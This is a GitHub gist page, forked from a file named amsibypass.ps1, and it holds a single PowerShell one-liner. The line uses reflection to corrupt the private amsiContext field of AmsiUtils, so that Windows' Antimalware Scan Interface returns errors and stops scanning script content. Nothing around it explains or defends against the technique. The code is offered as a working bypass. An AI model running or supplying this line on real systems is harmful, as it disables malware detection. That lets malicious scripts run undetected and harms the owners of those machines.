Skip to content

Instantly share code, notes, and snippets.

@0x4243
Forked from mattifestation/amsibypass.ps1
Created July 18, 2017 22:22
Show Gist options
  • Save 0x4243/514acd6ed98658d79ca6dd028fe4a30f to your computer and use it in GitHub Desktop.
Save 0x4243/514acd6ed98658d79ca6dd028fe4a30f to your computer and use it in GitHub Desktop.
Compels AmsiScanBuffer/AmsiScanString to return E_INVALIDARG
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiContext',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment